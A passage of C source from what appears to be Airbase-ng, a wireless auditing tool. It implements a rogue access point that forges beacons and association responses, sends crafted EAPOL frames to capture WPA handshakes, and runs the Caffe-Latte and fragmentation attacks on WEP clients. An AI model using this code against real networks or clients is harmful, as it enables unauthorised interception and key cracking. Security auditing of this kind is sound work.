tag = parse_tags(packet + z + fixed,
IEEE80211_ELEMID_SSID,
(int) (length - z - fixed),
&len);
if (tag != NULL && tag[0] >= 32 && len < 256)
{
memcpy(essid, tag, len);
essid[len] = 0x00;
if (lopt.f_essid && !gotESSID((char *) essid, (int) len))
return (0);
}
st_cur->wpatype = 0;
st_cur->wpahash = 0;
// Search for WPA IE, which is inside a Vendor Specific (221, 0xDD) and parse client's WPA IE
tag = parse_tags(packet + z + fixed,
IEEE80211_ELEMID_VENDOR,
(int) (length - z - fixed),
&len);
while (tag != NULL)
{
wpa_client(st_cur, tag - 2, (int) (len + 2u));
tag += (tag - 2)[1] + 2;
tag = parse_tags(tag - 2,
IEEE80211_ELEMID_VENDOR,
(int) (length - (tag - packet) + 2u),
&len);
}
// Search for RSN IE and parse client's RSN IE
tag = parse_tags(packet + z + fixed,
IEEE80211_ELEMID_RSN,
(int) (length - z - fixed),
&len);
while (tag != NULL)
{
wpa_client(st_cur, tag - 2, (int) (len + 2u));
tag += (tag - 2)[1] + 2;
tag = parse_tags(tag - 2,
IEEE80211_ELEMID_RSN,
(int) (length - (tag - packet) + 2u),
&len);
}
// Set type/subtype depending on the frame received
if (!reasso)
packet[0]
= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_RESP;
else
packet[0] = IEEE80211_FC0_TYPE_MGT
| IEEE80211_FC0_SUBTYPE_REASSOC_RESP;
// Add the addresses
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, dmac, 6);
// store the tagged parameters and insert the fixed ones
buffer = (unsigned char *) malloc(length - z - fixed);
ALLEGE(buffer != NULL);
memcpy(buffer, packet + z + fixed, length - z - fixed);
packet[z + 2] = 0x00;
packet[z + 3] = 0x00;
packet[z + 4] = 0x01;
packet[z + 5] = 0xC0;
memcpy(packet + z + 6, buffer, length - z - fixed);
length += (6 - fixed);
free(buffer);
buffer = NULL;
len = length - z - 6;
// Remove SSID
remove_tag(packet + z + 6, IEEE80211_ELEMID_SSID, &len);
// Remove Supported Operating Classes (59)
remove_tag(packet + z + 6, 59, &len);
// Remove WPA tag (Vendor Specific) - It will also remove other vendor tags which aren't needed
remove_tag(packet + z + 6, IEEE80211_ELEMID_VENDOR, &len);
// Remove RSN tag
remove_tag(packet + z + 6, IEEE80211_ELEMID_RSN, &len);
// Recalculate length
length = len + z + 6;
my_send_packet(packet, length);
if (!opt.quiet)
{
PCT;
printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated",
smac[0],
smac[1],
smac[2],
smac[3],
smac[4],
smac[5],
(reasso == 0) ? "" : "re");
if (st_cur->wpatype != 0)
{
if (st_cur->wpatype == 1)
printf(" (WPA1");
else
printf(" (WPA2");
if (st_cur->wpahash == 1)
printf(";TKIP)");
else
printf(";CCMP)");
}
else if (st_cur->wep != 0)
{
printf(" (WEP)");
}
else
{
printf(" (unencrypted)");
}
if (essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid);
printf("\n");
}
memset(st_cur->essid, 0, ESSID_LENGTH + 1);
memcpy(st_cur->essid, essid, ESSID_LENGTH + 1);
st_cur->essid_length = (int) ustrlen(essid);
memset(essid, 0, sizeof(essid)); //-V597
/* either specified or determined */
if ((lopt.sendeapol && (lopt.wpa1type || lopt.wpa2type))
|| (st_cur->wpatype && st_cur->wpahash))
{
st_cur->wpa.state = 0;
if (lopt.use_fixed_nonce)
{
memcpy(st_cur->wpa.anonce, lopt.fixed_nonce, 32);
}
else
{
for (i = 0; i < 32; i++) st_cur->wpa.anonce[i] = rand_u8();
}
st_cur->wpa.state |= 1;
/* build first eapol frame */
memcpy(h80211, "\x08\x02\xd5\x00", 4);
len = 4;
memcpy(h80211 + len, smac, 6);
len += 6;
memcpy(h80211 + len, bssid, 6);
len += 6;
memcpy(h80211 + len, bssid, 6);
len += 6;
h80211[len] = 0x60;
h80211[len + 1] = 0x0f;
len += 2;
// llc+snap
memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
len += 8;
// eapol
memset(h80211 + len, 0, 99);
h80211[len] = 0x01; // version
h80211[len + 1] = 0x03; // type
h80211[len + 2] = 0x00;
h80211[len + 3] = 0x5F; // len
if (lopt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
if (lopt.wpa2type) h80211[len + 4] = 0x02; // WPA2
if (!lopt.wpa1type && !lopt.wpa2type)
{
if (st_cur->wpatype == 1) // WPA1
h80211[len + 4] = 0xFE; // WPA1
else
h80211[len + 4] = 0x02; // WPA2
}
if (lopt.sendeapol >= 1 && lopt.sendeapol <= 2) // specified
{
if (lopt.sendeapol == 1) // MD5
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x89;
}
else // SHA1
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x8a;
}
}
else // from asso
{
if (st_cur->wpahash == 1) // MD5
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x89;
}
else if (st_cur->wpahash == 2) // SHA1
{
h80211[len + 5] = 0x00;
h80211[len + 6] = 0x8a;
}
}
h80211[len + 7] = 0x00;
h80211[len + 8] = 0x20; // keylen
memset(h80211 + len + 9, 0, 90);
memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
len += 99;
my_send_packet(h80211, len);
}
return (0);
}
return (0);
}
return (0);
}
static THREAD_ENTRY(beacon_thread)
{
REQUIRE(arg != NULL);
struct AP_conf apc;
struct timeval tv, tv1, tv2;
uint64_t timestamp;
uint8_t beacon[512];
size_t beacon_len = 0;
int seq = 0, i = 0, n = 0;
size_t essid_len;
int temp_channel;
uint8_t essid[MAX_IE_ELEMENT_SIZE + 1];
float f, ticks[3];
ssize_t rc;
memset(essid, 0, MAX_IE_ELEMENT_SIZE + 1);
memcpy(&apc, arg, sizeof(struct AP_conf));
ticks[0] = 0;
ticks[1] = 0;
ticks[2] = 0;
while (1)
{
/* sleep until the next clock tick */
if (dev.fd_rtc >= 0)
{
if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
{
perror("read(/dev/rtc) failed");
return (NULL);
}
if (rc == 0)
{
perror("EOF encountered on /dev/rtc");
return (NULL);
}
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
}
if (((double) ticks[2] / (double) RTC_RESOLUTION)
>= ((double) apc.interval / 1000.0) * (double) seq)
{
/* threshold reach, send one frame */
// ticks[2] = 0;
fflush(stdout);
gettimeofday(&tv1, NULL);
timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
fflush(stdout);
/* flush expired ESSID entries */
flushESSID();
essid_len = (size_t) getNextESSID((char *) essid);
if (!essid_len)
{
strncpy((char *) essid, "default", sizeof(essid) - 1);
essid_len = strlen("default"); //-V814
}
beacon_len = 0;
memcpy(beacon,
"\x80\x00\x00\x00",
4); // type/subtype/framecontrol/duration
beacon_len += 4;
memcpy(beacon + beacon_len, BROADCAST, 6); // destination
beacon_len += 6;
if (!lopt.adhoc)
memcpy(beacon + beacon_len, apc.bssid, 6); // source
else
memcpy(beacon + beacon_len, opt.r_smac, 6); // source
beacon_len += 6;
memcpy(beacon + beacon_len, apc.bssid, 6); // bssid
beacon_len += 6;
memcpy(beacon + beacon_len, "\x00\x00", 2); // seq+frag
beacon_len += 2;
memcpy(beacon + beacon_len,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
12); // fixed information
beacon[beacon_len + 8]
= (uint8_t) ((apc.interval * MAX(getESSIDcount(), 1))
& 0xFF); // beacon interval
beacon[beacon_len + 9]
= (uint8_t) (((apc.interval * MAX(getESSIDcount(), 1)) >> 8)
& 0xFF);
memcpy(beacon + beacon_len + 10, apc.capa, 2); // capability
beacon_len += 12;
beacon[beacon_len] = 0x00; // essid tag
beacon[beacon_len + 1] = (uint8_t) essid_len; // essid tag
beacon_len += 2;
memcpy(beacon + beacon_len, essid, essid_len); // actual essid
beacon_len += essid_len;
memcpy(beacon + beacon_len, RATES, sizeof(RATES) - 1); // rates
beacon_len += sizeof(RATES) - 1;
beacon[beacon_len] = 0x03; // channel tag
beacon[beacon_len + 1] = 0x01;
temp_channel = wi_get_channel(_wi_in); // current channel
if (!invalid_channel_displayed)
{
if (temp_channel > 255)
{
// Display error message once
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value < 256.\n",
temp_channel);
}
else if (temp_channel < 1)
{
invalid_channel_displayed = 1;
fprintf(stderr,
"Error: Got channel %d, expected a value > 0.\n",
temp_channel);
}
}
beacon[beacon_len + 2]
= (uint8_t) (((temp_channel > 255 || temp_channel < 1)
&& lopt.channel != 0)
? lopt.channel
: temp_channel);
beacon_len += 3;
if (lopt.allwpa)
{
memcpy(beacon + beacon_len,
ALL_WPA2_TAGS,
sizeof(ALL_WPA2_TAGS) - 1);
beacon_len += sizeof(ALL_WPA2_TAGS) - 1;
}
else if (lopt.wpa2type > 0)
{
memcpy(beacon + beacon_len, WPA2_TAG, 22);
beacon[beacon_len + 7] = (uint8_t) lopt.wpa2type;
beacon[beacon_len + 13] = (uint8_t) lopt.wpa2type;
beacon_len += 22;
}
// Add extended rates
memcpy(beacon + beacon_len,
EXTENDED_RATES,
sizeof(EXTENDED_RATES) - 1);
beacon_len += sizeof(EXTENDED_RATES) - 1;
if (lopt.allwpa)
{
memcpy(beacon + beacon_len,
ALL_WPA1_TAGS,
sizeof(ALL_WPA1_TAGS) - 1);
beacon_len += sizeof(ALL_WPA1_TAGS) - 1;
}
else if (lopt.wpa1type > 0)
{
memcpy(beacon + beacon_len, WPA1_TAG, 24);
beacon[beacon_len + 11] = (uint8_t) lopt.wpa1type;
beacon[beacon_len + 17] = (uint8_t) lopt.wpa1type;
beacon_len += 24;
}
// copy timestamp into beacon; a mod 2^64 counter incremented each
// microsecond
for (i = 0; i < 8; i++)
{
beacon[24 + i] = (uint8_t) ((timestamp >> (i * 8)) & 0xFF);
}
beacon[22] = (uint8_t) ((seq << 4) & 0xFF);
beacon[23] = (uint8_t) ((seq >> 4) & 0xFF);
fflush(stdout);
if (my_send_packet(beacon, beacon_len) < 0)
{
printf("Error sending beacon!\n");
return (NULL);
}
seq++;
}
}
return (NULL);
}
static THREAD_ENTRY(caffelatte_thread)
{
struct timeval tv, tv2;
float f, ticks[3];
int arp_off1 = 0;
int nb_pkt_sent_1 = 0;
int seq = 0;
UNUSED_PARAM(arg);
ticks[0] = 0;
ticks[1] = 0;
ticks[2] = 0;
while (1)
{
/* sleep until the next clock tick */
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
if (((double) ticks[2] / (double) RTC_RESOLUTION)
>= (1000.0 / (double) opt.r_nbpps) * (double) seq)
{
/* threshold reach, send one frame */
// ticks[2] = 0;
if (lopt.nb_arp > 0)
{
if (nb_pkt_sent_1 == 0) ticks[0] = 0;
if (my_send_packet(arp[arp_off1].buf,
(size_t) arp[arp_off1].len)
< 0)
return (NULL);
nb_pkt_sent_1++;
if (((double) ticks[0] / (double) RTC_RESOLUTION)
* (double) opt.r_nbpps
> (double) nb_pkt_sent_1)
{
if (my_send_packet(arp[arp_off1].buf,
(size_t) arp[arp_off1].len)
< 0)
return (NULL);
nb_pkt_sent_1++;
}
if (++arp_off1 >= lopt.nb_arp) arp_off1 = 0;
}
}
}
return (NULL);
}
static int del_next_CF(pCF_t curCF)
{
pCF_t tmp;
if (curCF == NULL) return (1);
if (curCF->next == NULL) return (1);
tmp = curCF->next;
curCF->next = tmp->next;
free(tmp);
return (0);
}
static int cfrag_fuzz(unsigned char * packet,
int frags,
int frag_num,
int length,
const unsigned char rnd[2])
{
int z, i;
unsigned char overlay[4096];
unsigned char * smac = NULL;
if (packet == NULL) return (1);
z = ((packet[1] & 3) != 3) ? 24 : 30;
if (length <= z + 8) return (1);
if (frags < 1) return (1);
if (frag_num < 0 || frag_num > frags) return (1);
if ((packet[1] & 3) <= 1)
smac = packet + 10;
else if ((packet[1] & 3) == 2)
smac = packet + 16;
else
smac = packet + 24;
memset(overlay, 0, 4096);
smac[4] ^= rnd[0];
smac[5] ^= rnd[1];
if (frags == 1 && frag_num == 1) /* ARP final */
{
overlay[z + 14] = rnd[0];
overlay[z + 15] = rnd[1];
overlay[z + 18] = rnd[0];
overlay[z + 19] = rnd[1];
add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
}
else if (frags == 3 && frag_num == 3) /* IP final */
{
overlay[z + 12] = rnd[0];
overlay[z + 13] = rnd[1];
overlay[z + 16] = rnd[0];
overlay[z + 17] = rnd[1];
add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
}
for (i = 0; i < length; i++)
{
packet[i] ^= overlay[i];
}
return (0);
}
static THREAD_ENTRY(cfrag_thread)
{
struct timeval tv, tv2;
float f, ticks[3];
int nb_pkt_sent_1 = 0;
int seq = 0, i = 0;
pCF_t curCF;
unsigned char rnd[2];
unsigned char buffer[4096];
UNUSED_PARAM(arg);
ticks[0] = 0;
ticks[1] = 0;
ticks[2] = 0;
while (1)
{
/* sleep until the next clock tick */
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
if (((double) ticks[2] / (double) RTC_RESOLUTION)
>= ((double) 1000.0 / (double) opt.r_nbpps) * (double) seq)
{
/* threshold reach, send one frame */
// ticks[2] = 0;
ALLEGE(pthread_mutex_lock(&mx_cf) == 0);
if (lopt.cf_count > 0)
{
curCF = rCF;
if (curCF->next == NULL)
{
lopt.cf_count = 0;
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
continue;
}
while (curCF->next != NULL
&& curCF->next->xmitcount >= MAX_CF_XMIT)
{
del_next_CF(curCF);
}
if (curCF->next == NULL)
{
lopt.cf_count = 0;
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
continue;
}
curCF = curCF->next;
if (nb_pkt_sent_1 == 0) ticks[0] = 0;
rnd[0] = rand_u8();
rnd[1] = rand_u8();
for (i = 0; i < curCF->fragnum; i++)
{
memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
cfrag_fuzz(buffer,
curCF->fragnum,
i,
(int) curCF->fraglen[i],
rnd);
if (my_send_packet(buffer, curCF->fraglen[i]) < 0)
{
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
return (NULL);
}
}
memcpy(buffer, curCF->final, curCF->finallen);
cfrag_fuzz(buffer,
curCF->fragnum,
curCF->fragnum,
(int) curCF->finallen,
rnd);
if (my_send_packet(buffer, curCF->finallen) < 0)
{
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
return (NULL);
}
curCF->xmitcount++;
nb_pkt_sent_1++;
if (((double) ticks[0] / (double) RTC_RESOLUTION)
* (double) opt.r_nbpps
> (double) nb_pkt_sent_1)
{
rnd[0] = rand_u8();
rnd[1] = rand_u8();
for (i = 0; i < curCF->fragnum; i++)
{
memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
cfrag_fuzz(buffer,
curCF->fragnum,
i,
(int) curCF->fraglen[i],
rnd);
if (my_send_packet(buffer, curCF->fraglen[i]) < 0)
{
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
return (NULL);
}
}
memcpy(buffer, curCF->final, curCF->finallen);
cfrag_fuzz(buffer,
curCF->fragnum,
curCF->fragnum,
(int) curCF->finallen,
rnd);
if (my_send_packet(buffer, curCF->finallen) < 0)
{
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
return (NULL);
}
curCF->xmitcount++;
nb_pkt_sent_1++;
}
}
ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
}
}
return (NULL);
}
int main(int argc, char * argv[])
{
int ret_val, len, i, n;
unsigned int un;
struct pcap_pkthdr pkh;
fd_set read_fds;
unsigned char buffer[4096];
char *s, buf[128], *tempstr;
int caplen;
struct AP_conf apc;
unsigned char mac[6];
/* check the arguments */
memset(&opt, 0, sizeof(opt));
memset(&dev, 0, sizeof(dev));
memset(&apc, 0, sizeof(struct AP_conf));
ALLEGE(pthread_mutex_init(&rESSIDmutex, NULL) == 0);
rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list));
ALLEGE(rESSID != NULL);
memset(rESSID, 0, sizeof(struct ESSID_list));
rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
ALLEGE(rFragment != NULL);
memset(rFragment, 0, sizeof(struct Fragment_list));
rClient = (pMAC_t) malloc(sizeof(struct MAC_list));
ALLEGE(rClient != NULL);
memset(rClient, 0, sizeof(struct MAC_list));
rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
ALLEGE(rBSSID != NULL);
memset(rBSSID, 0, sizeof(struct MAC_list));
rCF = (pCF_t) malloc(sizeof(struct CF_packet));
ALLEGE(rCF != NULL);
memset(rCF, 0, sizeof(struct CF_packet));
ac_crypto_init();
ALLEGE(pthread_mutex_init(&mx_cf, NULL) == 0);
ALLEGE(pthread_mutex_init(&mx_cap, NULL) == 0);
opt.r_nbpps = 100;
lopt.tods = 0;
lopt.setWEP = -1;
lopt.skalen = 128;
lopt.filter = -1;
opt.ringbuffer = 10;
lopt.nb_arp = 0;
opt.f_index = 1;
lopt.interval = 0x64;
lopt.channel = 0;
lopt.beacon_cache = 0; /* disable by default */
lopt.use_fixed_nonce = 0;
lopt.ti_mtu = TI_MTU;
lopt.wif_mtu = WIF_MTU;
invalid_channel_displayed = 0;
rand_init();
while (1)
{
int option_index = 0;
static const struct option long_options[]
= {{"beacon-cache", 1, 0, 'C'},
{"bssid", 1, 0, 'b'},
{"bssids", 1, 0, 'B'},
{"channel", 1, 0, 'c'},
{"client", 1, 0, 'd'},
{"clients", 1, 0, 'D'},
{"essid", 1, 0, 'e'},
{"essids", 1, 0, 'E'},
{"promiscuous", 0, 0, 'P'},
{"interval", 1, 0, 'I'},
{"mitm", 0, 0, 'M'},
{"hidden", 0, 0, 'X'},
{"caffe-latte", 0, 0, 'L'},
{"cfrag", 0, 0, 'N'},
{"verbose", 0, 0, 'v'},
{"ad-hoc", 0, 0, 'A'},
{"help", 0, 0, 'H'},
{0, 0, 0, 0}};
int option = getopt_long(
argc,
argv,
"a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'n':
// Check the value is 32 bytes, in hex (64 hex)
if (hexStringToArray(
optarg, (int) strlen(optarg), lopt.fixed_nonce, 32)
!= 32)
{
printf("Invalid fixed nonce. It must be 64 hexadecimal "
"chars.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.use_fixed_nonce = 1;
break;
case 'a':
if (getmac(optarg, 1, opt.r_bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'c':
lopt.channel = atoi(optarg);
if (lopt.channel > 255 || lopt.channel < 1)
{
printf("Invalid channel value <%d>. It must be between 1 "
"and 255.\n",
lopt.channel);
return (EXIT_FAILURE);
}
break;
case 'V':
lopt.sendeapol = atoi(optarg);
if (lopt.sendeapol < 1 || lopt.sendeapol > 3)
{
printf("EAPOL value can only be 1[MD5], 2[SHA1] or "
"3[auto].\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'v':
opt.verbose = 1;
if (opt.quiet != 0)
{
printf("Don't specify -v and -q at the same time.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'z':
lopt.wpa1type = atoi(optarg);
if (lopt.wpa1type < 1 || lopt.wpa1type > 5)
{
printf("Invalid WPA1 type [1-5]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.setWEP == -1)
{
lopt.setWEP = 1;
}
break;
case 'Z':
lopt.wpa2type = atoi(optarg);
if (lopt.wpa2type < 1 || lopt.wpa2type > 5)
{
printf("Invalid WPA2 type [1-5]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.setWEP == -1)
{
lopt.setWEP = 1;
}
break;
case 'e':
if (addESSID(optarg, (int) strlen(optarg), 0) != 0)
{
printf("Invalid ESSID, too long\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.f_essid = 1;
break;
case 'E':
if (addESSIDfile(optarg) != 0) return (EXIT_FAILURE);
lopt.f_essid = 1;
break;
case 'P':
lopt.promiscuous = 1;
break;
case 'I':
lopt.interval = atoi(optarg);
break;
case 'C':
lopt.beacon_cache = atoi(optarg);
break;
case 'A':
lopt.adhoc = 1;
break;
case 'N':
lopt.cf_attack = 1;
break;
case 'X':
lopt.hidden = 1;
break;
case '0':
lopt.allwpa = 1;
if (lopt.sendeapol == 0) lopt.sendeapol = 3;
break;
case 'x':
opt.r_nbpps = atoi(optarg);
if (opt.r_nbpps < 1 || opt.r_nbpps > 1000)
{
printf("Invalid speed. [1-1000]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 's':
lopt.forceska = 1;
break;
case 'f':
if (strncasecmp(optarg, "allow", 5) == 0
|| strncmp(optarg, "0", 1) == 0)
{
lopt.filter
= ALLOW_MACS; // block all, allow the specified macs
}
else if (strncasecmp(optarg, "disallow", 8) == 0
|| strncmp(optarg, "1", 1) == 0)
{
lopt.filter
= BLOCK_MACS; // allow all, block the specified macs
}
else
{
printf("Invalid macfilter mode. [allow|disallow]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'S':
if (atoi(optarg) < 16 || atoi(optarg) > 1480)
{
printf("Invalid challenge length. [16-1480]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.skalen = atoi(optarg);
break;
case 'h':
if (getmac(optarg, 1, opt.r_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'i':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.s_face = optarg;
break;
case 'W':
if (atoi(optarg) < 0 || atoi(optarg) > 1)
{
printf("Invalid argument for (-W). Only \"0\" and \"1\" "
"allowed.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.setWEP = atoi(optarg);
break;
case 'M':
lopt.mitm = 1;
break;
case 'L':
lopt.caffelatte = 1;
break;
case 'y':
lopt.nobroadprobe = 1;
break;
case 'Y':
if (strncasecmp(optarg, "in", 2) == 0)
{
lopt.external |= EXT_IN; // process incoming frames
}
else if (strncasecmp(optarg, "out", 3) == 0)
{
lopt.external |= EXT_OUT; // process outgoing frames
}
else if (strncasecmp(optarg, "both", 4) == 0
|| strncasecmp(optarg, "all", 3) == 0)
{
lopt.external
|= EXT_IN | EXT_OUT; // process both directions
}
else
{
printf("Invalid processing mode. [in|out|both]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'q':
opt.quiet = 1;
if (opt.verbose != 0)
{
printf("Don't specify -v and -q at the same time.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'w':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WEP;
i = 0;
s = optarg;
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
while (sscanf(buf, "%x", &un) == 1)
{
if (un > 255)
{
printf("Invalid WEP key.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.wepkey[i++] = (uint8_t) un;
if (i >= 64) break;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buf[0] = s[0];
buf[1] = s[1];
}
if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
{
printf("Invalid WEP key length.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.weplen = (size_t) i;
break;
case 'F':
if (lopt.dump_prefix != NULL)
{
printf("Notice: dump prefix already given\n");
break;
}
/* Write prefix */
lopt.dump_prefix = optarg;
lopt.record_data = 1;
break;
case 'd':
if (getmac(optarg, 1, mac) == 0)
{
addMAC(rClient, mac);
}
else
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
break;
case 'D':
if (addMACfile(rClient, optarg) != 0) return (EXIT_FAILURE);
if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
break;
case 'b':
if (getmac(optarg, 1, mac) == 0)
{
addMAC(rBSSID, mac);
}
else
{
printf("Invalid BSSID address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
break;
case 'B':
if (addMACfile(rBSSID, optarg) != 0) return (EXIT_FAILURE);
if (lopt.filter == -1) lopt.filter = ALLOW_MACS;
break;
case 'r':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.s_file = optarg;
break;
case 'H':
printf(usage,
getVersion("Airbase-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
return (EXIT_FAILURE);
default:
goto usage;
}
}
if (argc - optind != 1)
{
if (argc == 1)
{
usage:
printf(
usage,
getVersion(
"Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
}
if (argc - optind == 0)
{
printf("No replay interface specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (EXIT_FAILURE);
}
if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
{
printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1))
{
printf("Notice: You need to specify exactly one BSSID (-b)"
" and at least one client MAC (-d)\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.wpa1type && lopt.wpa2type)
{
printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.allwpa && (lopt.wpa1type || lopt.wpa2type))
{
printf("Notice: You cannot use all WPA tags (-0)"
" together with WPA (-z) or WPA2 (-Z)\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
dev.fd_rtc = -1;
/* open the RTC device if necessary */
#if defined(__i386__)
#if defined(linux)
if (1)
{
if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if (dev.fd_rtc > 0)
{
if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
{
perror("ioctl(RTC_IRQP_SET) failed");
printf("Make sure enhanced rtc device support is enabled in "
"the kernel (module\n"
"rtc, not genrtc) - also try 'echo 1024 "
">/proc/sys/dev/rtc/max-user-freq'.\n");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
else
{
if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
{
perror("ioctl(RTC_PIE_ON) failed");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
}
}
else
{
printf("For information, no action required:"
" Using gettimeofday() instead of /dev/rtc\n");
dev.fd_rtc = -1;
}
}
#endif /* linux */
#endif /* __i386__ */
/* open the replay interface */
tempstr = strdup(argv[optind]);
if (!tempstr)
{
return (EXIT_FAILURE);
}
_wi_out = wi_open(tempstr);
free(tempstr);
if (!_wi_out) return (EXIT_FAILURE);
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
if (opt.s_face != NULL)
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return (EXIT_FAILURE);
dev.fd_in = wi_fd(_wi_in);
}
else
{
_wi_in = _wi_out;
